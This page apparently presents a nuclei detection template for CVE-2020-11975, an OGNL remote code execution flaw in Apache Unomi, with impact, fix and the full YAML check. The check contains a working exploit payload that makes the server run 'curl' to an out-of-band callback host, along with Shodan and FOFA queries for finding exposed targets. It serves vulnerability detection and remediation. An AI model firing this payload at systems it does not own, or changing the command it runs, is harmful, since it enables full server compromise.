Apache Unomi - Remote Code Execution

criticalseverity

9.8CVSS score

30.6%likelihood of exploitation, next 30 days

98%of all CVEs are less likely

Readycheck to confirm it

Apache Unomi allows conditions to use OGNL scripting which offers the possibility to call static Java classes from the JDK that could execute code with the permission level of the running Java process, enabling attackers to execute arbitrary code.

Impact

Successful exploitation allows an attacker to execute arbitrary code on the server with the privileges of the Java process, potentially leading to complete system compromise.

Fix

Update Apache Unomi to version 1.5.2 or later. Disable OGNL scripting in conditions if not required.

How to confirm it

Send: POST {{BaseURL}}/context.json
Positive when: contains in interactsh_protocol "dns" AND contains_all(body, "profileId\":", "sessionId\":") and contains(content_type, "application/json") and status_code == 200 || status_code == 500

Run it with nuclei: nuclei -id CVE-2020-11975 -u <target>

The full check

id: CVE-2020-11975

info:
  name: Apache Unomi - Remote Code Execution
  author: Sourabh-Sahu
  severity: critical
  description: |
    Apache Unomi allows conditions to use OGNL scripting which offers the possibility to call static Java classes from the JDK that could execute code with the permission level of the running Java process, enabling attackers to execute arbitrary code.
  impact: |
    Successful exploitation allows an attacker to execute arbitrary code on the server with the privileges of the Java process, potentially leading to complete system compromise.
  remediation: |
    Update Apache Unomi to version 1.5.2 or later. Disable OGNL scripting in conditions if not required.
  reference:
    - https://xz.aliyun.com/news/8157
    - https://github.com/1135/unomi_exploit
    - https://unomi.apache.org/security/cve-2020-11975.html
    - https://nvd.nist.gov/vuln/detail/CVE-2020-11975
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2020-11975
    cwe-id: CWE-94
    epss-score: 0.3061
    epss-percentile: 0.98256
    cpe: cpe:2.3:a:apache:unomi:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: apache
    product: unomi
    shodan-query: http.title:"Apache Unomi"
    fofa-query: title="Apache Unomi"
  tags: cve,cve2020,apache,unomi,rce,ognl,oast,vkev,vuln

http:
  - method: POST
    path:
      - "{{BaseURL}}/context.json"
    headers:
      Content-Type: application/json
    body: |
      {
        "personalizations":[
          {
            "id":"gender-test_anystr",
            "strategy":"matching-first",
            "strategyOptions":{
              "fallback":"var2"
            },
            "contents":[
              {
                "filters":[
                  {
                    "condition":{
                      "parameterValues":{
                        "propertyName":"(#[email protected]@getRuntime()).(#r.exec(\"curl {{interactsh-url}}\"))",
                        "comparisonOperator":"equals_anystr",
                        "propertyValue":"male_anystr"
                      },
                      "type":"profilePropertyCondition"
                    }
                  }
                ]
              }
            ]
          }
        ],
        "sessionId":"test-demo-session-id"
      }

    matchers-condition: and
    matchers:
      - type: word
        part: interactsh_protocol
        words:
          - "dns"

      - type: dsl
        dsl:
          - 'contains_all(body, "profileId\":", "sessionId\":")'
          - 'contains(content_type, "application/json")'
          - 'status_code == 200 || status_code == 500'
        condition: and

References

Use this check only on systems you are authorised to test. Where the data comes from